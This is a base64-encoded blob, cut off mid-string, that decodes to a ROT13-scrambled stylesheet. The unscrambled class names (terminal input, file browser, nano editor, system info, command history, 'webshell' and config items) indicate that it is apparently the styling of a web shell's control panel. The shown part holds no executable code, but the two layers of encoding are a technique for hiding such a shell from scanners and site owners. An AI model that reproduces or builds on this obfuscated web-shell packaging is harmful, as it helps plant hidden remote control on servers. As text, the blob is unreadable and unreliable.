CAgICAgICAgICAgb25weHRlYmhhcTogIzJwM3I1MDsgDQogICAgICAgICAgICBwYnliZTogI3JwczBzMTsgDQogICAgICAgICAgICB1cnZ0dWc6IDQwMGNrOyANCiAgICAgICAgICAgIGJpcmVzeWJqLWw6IG5oZ2I7IA0KICAgICAgICAgICAgYmlyZXN5YmotazogbmhnYjsNCiAgICAgICAgICAgIGNucXF2YXQ6IDE1Y2s7IA0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOyANCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDE1Y2s7IA0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdFYm9iZ2IgWmJhYicsIHpiYWJmY25wcjsNCiAgICAgICAgICAgIHNiYWctZnZtcjogMTNjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIGp1dmdyLWZjbnByOiBjZXItamVuYzsNCiAgICAgICAgICAgIGpiZXEtamVuYzogb2VybngtamJlcTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmdyZXp2YW55LXZhY2hnIHsgDQogICAgICAgICAgICBqdnFndTogMTAwJTsgDQogICAgICAgICAgICBvbnB4dGViaGFxOiAjc3Nzc3NzOyANCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ncmtnLWNldnpuZWwpOyANCiAgICAgICAgICAgIG9iZXFyZTogMWNrIGZieXZxIGluZSgtLW9iZXFyZS1wYnliZSk7IA0KICAgICAgICAgICAgY25xcXZhdDogMTJjazsNCiAgICAgICAgICAgIHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDE0Y2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC56YnFueSB7IA0KICAgICAgICAgICAgcXZmY3lubDogYWJhcjsgDQogICAgICAgICAgICBjYmZ2Z3ZiYTogc3ZrcnE7IA0KICAgICAgICAgICAgZ2JjOiAwOyB5cnNnOiAwOyANCiAgICAgICAgICAgIGp2cWd1OiAxMDAlOyB1cnZ0dWc6IDEwMCU7IA0KICAgICAgICAgICAgb25weHRlYmhhcTogZXRvbigwLDAsMCwwLjUpOyANCiAgICAgICAgICAgIG0tdmFxcms6IDEwMDA7DQogICAgICAgICAgICBvbnB4cWViYy1zdnlncmU6IG95aGUoNWNrKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnpicW55LXBiYWdyYWcgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOyANCiAgICAgICAgICAgIHpuZXR2YTogNDBjayBuaGdiOyANCiAgICAgICAgICAgIGNucXF2YXQ6IDMwY2s7IA0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOw0KICAgICAgICAgICAganZxZ3U6IDkwJTsgDQogICAgICAgICAgICB6bmstanZxZ3U6IDgwMGNrOyANCiAgICAgICAgICAgIHpuay11cnZ0dWc6IDg1aXU7IA0KICAgICAgICAgICAgYmlyZXN5YmotbDogbmhnYjsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBvYmstZnVucWJqOiAwIDEwY2sgMjVjayBldG9uKDAsMCwwLDAuMik7DQogICAgICAgICAgICBjYmZ2Z3ZiYTogZXJ5bmd2aXI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC56YnFueS1wYmFncmFnOjpvcnNiZXIgew0KICAgICAgICAgICAgcGJhZ3JhZzogJyc7DQogICAgICAgICAgICBjYmZ2Z3ZiYTogbm9mYnloZ3I7DQogICAgICAgICAgICBnYmM6IDA7DQogICAgICAgICAgICB5cnNnOiAwOw0KICAgICAgICAgICAganZxZ3U6IDEwMCU7DQogICAgICAgICAgICB1cnZ0dWc6IDRjazsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZyg5MHFydCwgaW5lKC0tZnJwYmFxbmVsKSwgaW5lKC0tbnBwcmFnKSk7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAxMGNrIDEwY2sgMCAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAub2VybnFwZWh6byB7IA0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMjBjazsgDQogICAgICAgICAgICBjbnFxdmF0OiAxNWNrOyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOyANCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxM2NrOw0KICAgICAgICAgICAgamJlcS1vZXJueDogb2Vybngtbnl5Ow0KICAgICAgICAgICAgb2JrLWZ1bnFiajogaW5lKC0tZnVucWJqKTsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgc3lyay1qZW5jOiBqZW5jOw0KICAgICAgICAgICAgdG5jOiAxMGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAub2VybnFwZWh6byBuIHsgDQogICAgICAgICAgICBwYnliZTogaW5lKC0tZnJwYmFxbmVsKTsgDQogICAgICAgICAgICBncmtnLXFycGJlbmd2YmE6IGFiYXI7IA0KICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IDUwMDsgDQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vZXJucXBlaHpvIG46dWJpcmUgeyANCiAgICAgICAgICAgIGdya2ctcXJwYmVuZ3ZiYTogaGFxcmV5dmFyOyANCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1jZXZ6bmVsKTsgDQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5waGVlcmFnLWNuZ3UgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOyANCiAgICAgICAgICAgIGNucXF2YXQ6IDEyY2s7IA0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOyANCiAgICAgICAgICAgIHpuZXR2YTogMTVjayAwOyANCiAgICAgICAgICAgIHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDEzY2s7DQogICAgICAgICAgICBqYmVxLW9lcm54OiBvZXJueC1ueXk7DQogICAgICAgICAgICBvYmstZnVucWJqOiBpbmUoLS1mdW5xYmopOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudWJ6ci1vZ2EgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLWZycGJhcW5lbCk7IA0KICAgICAgICAgICAgcGJ5YmU6IGp1dmdyOyANCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsgDQogICAgICAgICAgICBjbnFxdmF0OiA4Y2sgMTZjazsgDQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7IA0KICAgICAgICAgICAgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyANCiAgICAgICAgICAgIHF2ZmN5bmw6IHZheXZhci1zeXJrOw0KICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgIHRuYzogNWNrOw0KICAgICAgICAgICAgem5ldHZhLXlyc2c6IDE1Y2s7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOw0KICAgICAgICAgICAgZ2VuYWZ2Z3ZiYTogaW5lKC0tZ2VuYWZ2Z3ZiYSk7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDEzY2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5vbmxsIHsgDQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1vYmVxcmUtcGJ5YmUpOyANCiAgICAgICAgICAgIHBieWJlOiBqdXZncjsgDQogICAgICAgICAgICBvYmVxcmU6IGFiYXI7IA0KICAgICAgICAgICAgY25xcXZhdDogOGNrIDE2Y2s7IA0KICAgICAgICAgICAgcGhlZmJlOiBjYnZhZ3JlOyANCiAgICAgICAgICAgIGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgDQogICAgICAgICAgICBxdmZjeW5sOiB2YXl2YXItc3lyazsNCiAgICAgICAgICAgIG55dnRhLXZncnpmOiBwcmFncmU7DQogICAgICAgICAgICB0bmM6IDVjazsNCiAgICAgICAgICAgIHpuZXR2YS15cnNnOiAxNWNrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrOw0KICAgICAgICAgICAgc2JhZy1qcnZ0dWc6IDUwMDsNCiAgICAgICAgICAgIGdlbmFmdmd2YmE6IGluZSgtLWdlbmFmdmd2YmEpOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxM2NrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudWJ6ci1vZ2E6dWJpcmUgeyANCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICMyOTgwbzk7DQogICAgICAgICAgICBncmtnLXFycGJlbmd2YmE6IGFiYXI7DQogICAgICAgICAgICBwYnliZTogI3Nzc3NzczsNCiAgICAgICAgICAgIGdlbmFmc2JlejogZ2VuYWZ5bmdyTCgtMmNrKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnN2eXItdmFzYiB7IA0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMWNrOyANCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ncmtnLWZycGJhcW5lbCk7IA0KICAgICAgICAgICAgem5ldHZhLXlyc2c6IDE1Y2s7IA0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdFYm9iZ2IgWmJhYicsIHpiYWJmY25wcjsgDQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOw0KICAgICAgICAgICAgc3lyay1xdmVycGd2YmE6IHBieWh6YTsNCiAgICAgICAgICAgIHRuYzogMmNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucXZlLXl2YXggeyANCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1mcnBiYXFuZWwpOyANCiAgICAgICAgICAgIGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgDQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOyANCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiA1Y2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5xdmUteXZheDp1YmlyZSB7IA0KICAgICAgICAgICAgZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7IA0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWNldnpuZWwpOyANCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnZwYmEtc2J5cXJlIHsgDQogICAgICAgICAgICBwYnliZTogaW5lKC0tam5lYXZhdCk7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudnBiYS1zdnlyIHsgDQogICAgICAgICAgICBwYnliZTogaW5lKC0tdmFzYik7IA0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZ2JieW9uZSB7IA0KICAgICAgICAgICAgcXZmY3lubDogc3lyazsgDQogICAgICAgICAgICB0bmM6IDEwY2s7IA0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMjBjazsgDQogICAgICAgICAgICBzeXJrLWplbmM6IGplbmM7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mbGZncnotdmFzYiB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1wbmVxLW90KTsNCiAgICAgICAgICAgIHBieWJlOiBpbmUoLS1ncmtnLWNldnpuZWwpOw0KICAgICAgICAgICAgY25xcXZhdDogMTVjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2s7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAyMGNrOw0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdFYm9iZ2IgWmJhYicsIHpiYWJmY25wcjsNCiAgICAgICAgICAgIHNiYWctZnZtcjogMTJjazsNCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsNCiAgICAgICAgICAgIGpiZXEtb2Vybng6IG9lcm54LW55eTsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IGluZSgtLWZ1bnFiaik7DQogICAgICAgICAgICBjYmZ2Z3ZiYTogZXJ5bmd2aXI7DQogICAgICAgICAgICBiaXJlc3liajogdXZxcXJhOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZmxmZ3J6LXZhc2I6Om9yc2JlciB7DQogICAgICAgICAgICBwYmFncmFnOiAnJzsNCiAgICAgICAgICAgIGNiZnZndmJhOiBub2ZieWhncjsNCiAgICAgICAgICAgIGdiYzogMDsNCiAgICAgICAgICAgIHlyc2c6IDA7DQogICAgICAgICAgICBqdnFndTogNGNrOw0KICAgICAgICAgICAgdXJ2dHVnOiAxMDAlOw0KICAgICAgICAgICAgb25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKGdiIG9iZ2dieiwgaW5lKC0tZnJwYmFxbmVsKSwgaW5lKC0tbnBwcmFnKSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHUxLCB1MiwgdTMsIHU0LCB1NSwgdTYgew0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdWYWdyZScsIGZuYWYtZnJldnM7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNjAwOw0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWdya2ctY2V2em5lbCk7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxNWNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuYW5hYi1ycXZnYmUgew0KICAgICAgICAgICAgb25weHRlYmhhcTogIzJwM3I1MDsNCiAgICAgICAgICAgIHBieWJlOiAjcnBzMHMxOw0KICAgICAgICAgICAgb2JlcXJlOiBhYmFyOw0KICAgICAgICAgICAgY25xcXZhdDogMTBjazsNCiAgICAgICAgICAgIHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7DQogICAgICAgICAgICBqdnFndTogMTAwJTsNCiAgICAgICAgICAgIHVydnR1ZzogNTAwY2s7DQogICAgICAgICAgICBlcmZ2bXI6IG9iZ3U7DQogICAgICAgICAgICBiaXJlc3liajogbmhnYjsNCiAgICAgICAgICAgIHNiYWctZnZtcjogMTNjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmFuYWItdXJucXJlIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICMzNDQ5NXI7DQogICAgICAgICAgICBjbnFxdmF0OiAxMGNrOw0KICAgICAgICAgICAgb2JlcXJlLW9iZ2diejogMWNrIGZieXZxICMycDNyNTA7DQogICAgICAgICAgICBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOw0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMTBjazsNCiAgICAgICAgICAgIHBieWJlOiAjcnBzMHMxOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxM2NrOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrIDVjayAwIDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5nbm8tcGJhZ252YXJlIHsNCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDIwY2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5nbm8tb2hnZ2JhZiB7DQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOw0KICAgICAgICAgICAgb2JlcXJlLW9iZ2diejogMmNrIGZieXZxIGluZSgtLW9iZXFyZS1wYnliZSk7DQogICAgICAgICAgICBzeXJrLWplbmM6IGplbmM7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1wbmVxLW90KTsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDEwY2sgMTBjayAwIDA7DQogICAgICAgICAgICBjbnFxdmF0OiA1Y2sgNWNrIDAgNWNrOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogaW5lKC0tZnVucWJqKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmduby1vaGdnYmEgew0KICAgICAgICAgICAgY25xcXZhdDogMTJjayAyNGNrOw0KICAgICAgICAgICAgb25weHRlYmhhcTogZ2VuYWZjbmVyYWc7DQogICAgICAgICAgICBvYmVxcmU6IGFiYXI7DQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7DQogICAgICAgICAgICB6bmV0dmEtZXZ0dWc6IDVjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjayA1Y2sgMCAwOw0KICAgICAgICAgICAgc2JhZy1zbnp2eWw6ICdWYWdyZScsIGZuYWYtZnJldnM7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNTAwOw0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWdya2ctZnJwYmFxbmVsKTsNCiAgICAgICAgICAgIGdlbmFmdmd2YmE6IGluZSgtLWdlbmFmdmd2YmEpOw0KICAgICAgICAgICAgY2Jmdmd2YmE6IGVyeW5ndmlyOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZ25vLW9oZ2diYS5ucGd2aXIgew0KICAgICAgICAgICAgb25weHRlYmhhcTogaW5lKC0tcG5lcS1vdCk7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tY2V2em5lbCk7DQogICAgICAgICAgICBzYmFnLWpydnR1ZzogNjAwOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZ25vLW9oZ2diYS5ucGd2aXI6Om5zZ3JlIHsNCiAgICAgICAgICAgIHBiYWdyYWc6ICcnOw0KICAgICAgICAgICAgY2Jmdmd2YmE6IG5vZmJ5aGdyOw0KICAgICAgICAgICAgb2JnZ2J6OiAtMmNrOw0KICAgICAgICAgICAgeXJzZzogMDsNCiAgICAgICAgICAgIGp2cWd1OiAxMDAlOw0KICAgICAgICAgICAgdXJ2dHVnOiAzY2s7DQogICAgICAgICAgICBvbnB4dGViaGFxOiBpbmUoLS1mcnBiYXFuZWwpOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogM2NrIDNjayAwIDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5nbm8tb2hnZ2JhOnViaXJlIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGV0b24oNTIsIDE1MiwgMjE5LCAwLjEpOw0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWZycGJhcW5lbCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5nbm8tcGJhZ3JhZyB7DQogICAgICAgICAgICBxdmZjeW5sOiBhYmFyOw0KICAgICAgICAgICAgY25xcXZhdDogMjBjazsNCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGluZSgtLXBuZXEtb3QpOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogMCAwIDEwY2sgMTBjazsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IGluZSgtLWZ1bnFiaik7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5nbm8tcGJhZ3JhZy5ucGd2aXIgew0KICAgICAgICAgICAgcXZmY3lubDogb3licHg7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGNlciB7DQogICAgICAgICAgICBqdXZnci1mY25wcjogY2VyLWplbmM7DQogICAgICAgICAgICBqYmVxLWplbmM6IG9lcm54LWpiZXE7DQogICAgICAgICAgICBzYmFnLXNuenZ5bDogJ0Vib2JnYiBaYmFiJywgemJhYmZjbnByOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxM2NrOw0KICAgICAgICAgICAgem5ldHZhOiAxMGNrIDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wYnp6bmFxLXV2ZmdiZWwgew0KICAgICAgICAgICAgb25weHRlYmhhcTogI3JwczBzMTsNCiAgICAgICAgICAgIG9iZXFyZTogMWNrIGZieXZxICNvcXAzcDc7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiA1Y2s7DQogICAgICAgICAgICBjbnFxdmF0OiA1Y2s7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxMGNrOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxMmNrOw0KICAgICAgICAgICAgem5rLXVydnR1ZzogMTAwY2s7DQogICAgICAgICAgICBiaXJlc3liai1sOiBuaGdiOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAucGJ6em5hcS12Z3J6IHsNCiAgICAgICAgICAgIGNucXF2YXQ6IDJjayA1Y2s7DQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7DQogICAgICAgICAgICBvYmVxcmUtZW5xdmhmOiAzY2s7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBienpuYXEtdmdyejp1YmlyZSB7DQogICAgICAgICAgICBvbnB4dGViaGFxOiAjcTVxb3FvOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAueWJucXZhdCB7DQogICAgICAgICAgICBiY25wdmdsOiAwLjY7DQogICAgICAgICAgICBjYnZhZ3JlLXJpcmFnZjogYWJhcjsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmdyZXp2YW55LWNlYnpjZyB7DQogICAgICAgICAgICBwYnliZTogaW5lKC0tZmhwcHJmZik7DQogICAgICAgICAgICBzYmFnLWpydnR1Zzogb2J5cTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmdyZXp2YW55LWJoZ2NoZy15dmFyIHsNCiAgICAgICAgICAgIHpuZXR2YTogMmNrIDA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5qcm9mdXJ5eS12Z3J6IHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNzc3MzcHE7DQogICAgICAgICAgICBvYmVxcmU6IDFjayBmYnl2cSAjc3Nybm43Ow0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrOw0KICAgICAgICAgICAgY25xcXZhdDogMTBjazsNCiAgICAgICAgICAgIHpuZXR2YTogNWNrIDA7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmpyb2Z1cnl5LXZncno6dWJpcmUgew0KICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JMKC0yY2spOw0KICAgICAgICAgICAgb2JrLWZ1bnFiajogMCAyY2sgNWNrIGV0b24oMCwwLDAsMC4xKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBiYXN2dC12Z3J6IHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6ICNxMXJwczE7DQogICAgICAgICAgICBvYmVxcmU6IDFjayBmYnl2cSAjb3JyNXJvOw0KICAgICAgICAgICAgb2JlcXJlLWVucXZoZjogNWNrOw0KICAgICAgICAgICAgY25xcXZhdDogMTBjazsNCiAgICAgICAgICAgIHpuZXR2YTogNWNrIDA7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLnBiYXN2dC12Z3J6OnViaXJlIHsNCiAgICAgICAgICAgIGdlbmFmc2JlejogZ2VuYWZ5bmdyTCgtMmNrKTsNCiAgICAgICAgICAgIG9iay1mdW5xYmo6IDAgMmNrIDVjayBldG9uKDAsMCwwLDAuMSk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5wYnFyLWNlcml2cmogew0KICAgICAgICAgICAgb25weHRlYmhhcTogIzJvMm8ybzsNCiAgICAgICAgICAgIHBieWJlOiAjczhzOHMyOw0KICAgICAgICAgICAgY25xcXZhdDogMTBjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIHNiYWctc256dnlsOiAnRWJvYmdiIFpiYWInLCB6YmFiZmNucHI7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDEyY2s7DQogICAgICAgICAgICB6bmstdXJ2dHVnOiAzMDBjazsNCiAgICAgICAgICAgIGJpcmVzeWJqLWw6IG5oZ2I7DQogICAgICAgICAgICB6bmV0dmE6IDEwY2sgMDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZ2cXJvbmUteWJ0YiB7DQogICAgICAgICAgICBncmtnLW55dnRhOiBwcmFncmU7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAyMGNrOw0KICAgICAgICAgICAgY25xcXZhdC1vYmdnYno6IDIwY2s7DQogICAgICAgICAgICBvYmVxcmUtb2JnZ2J6OiAxY2sgZmJ5dnEgZXRvbigyNTUsMjU1LDI1NSwwLjEpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZnZxcm9uZS15YnRiIHUyIHsNCiAgICAgICAgICAgIHBieWJlOiBqdXZncjsNCiAgICAgICAgICAgIHNiYWctZnZtcjogMjJjazsNCiAgICAgICAgICAgIHpuZXR2YS1vYmdnYno6IDVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZ2cXJvbmUteWJ0YiBjIHsNCiAgICAgICAgICAgIHBieWJlOiBldG9uKDI1NSwyNTUsMjU1LDAuNyk7DQogICAgICAgICAgICBzYmFnLWZ2bXI6IDEyY2s7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mdnFyb25lLWZycGd2YmEgew0KICAgICAgICAgICAgem5ldHZhLW9iZ2diejogMjVjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZ2cXJvbmUtZnJwZ3ZiYSB1NCB7DQogICAgICAgICAgICBwYnliZToganV2Z3I7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiAxMmNrOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxNGNrOw0KICAgICAgICAgICAgZ3JrZy1nZW5hZnNiZXo6IGhjY3JlcG5mcjsNCiAgICAgICAgICAgIHlyZ2dyZS1mY25wdmF0OiAxY2s7DQogICAgICAgICAgICBxdmZjeW5sOiBzeXJrOw0KICAgICAgICAgICAgbnl2dGEtdmdyemY6IHByYWdyZTsNCiAgICAgICAgICAgIHRuYzogOGNrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZnZxcm9uZS1mcnBndmJhIHU0IHYgew0KICAgICAgICAgICAgcGJ5YmU6IGluZSgtLWZycGJhcW5lbCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mdnFyb25lLW9oZ2diYWYgew0KICAgICAgICAgICAgcXZmY3lubDogc3lyazsNCiAgICAgICAgICAgIHN5cmstcXZlcnBndmJhOiBwYnloemE7DQogICAgICAgICAgICB0bmM6IDhjazsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgLmZ2cXJvbmUtb2dhIHsNCiAgICAgICAgICAgIG9ucHh0ZWJoYXE6IGV0b24oMjU1LDI1NSwyNTUsMC4xKTsNCiAgICAgICAgICAgIHBieWJlOiBqdXZncjsNCiAgICAgICAgICAgIG9iZXFyZTogYWJhcjsNCiAgICAgICAgICAgIGNucXF2YXQ6IDEwY2sgMTVjazsNCiAgICAgICAgICAgIG9iZXFyZS1lbnF2aGY6IDVjazsNCiAgICAgICAgICAgIGdya2ctbnl2dGE6IHlyc2c7DQogICAgICAgICAgICBwaGVmYmU6IGNidmFncmU7DQogICAgICAgICAgICBnZW5hZnZndmJhOiBpbmUoLS1nZW5hZnZndmJhKTsNCiAgICAgICAgICAgIHF2ZmN5bmw6IHN5cms7DQogICAgICAgICAgICBueXZ0YS12Z3J6ZjogcHJhZ3JlOw0KICAgICAgICAgICAgdG5jOiAxMGNrOw0KICAgICAgICAgICAgc2JhZy1mdm1yOiAxM2NrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAuZnZxcm9uZS1vZ2E6dWJpcmUgew0KICAgICAgICAgICAgb25weHRlYmhhcTogZXRvbigyNTUsMjU1LDI1NSwwLjIpOw0KICAgICAgICAgICAgZ2VuYWZzYmV6OiBnZW5hZnluZ3JLKDVjayk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5mdnFyb25lLW9nYSB2IHsNCiAgICAgICAgICAgIGp2cWd1OiAyMGNrOw0KICAgICAgICAgICAgZ3JrZy1ueXZ0YTogcHJhZ3JlOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAudmFzYi1lYmogew0KICAgICAgICAgICAgcXZmY3lubDogc3lyazsNCiAgICAgICAgICAgIG55dnRhLXZncnpmOiBwcmFncmU7DQogICAgICAgICAgICB6bmV0dmEtb2JnZ2J6OiA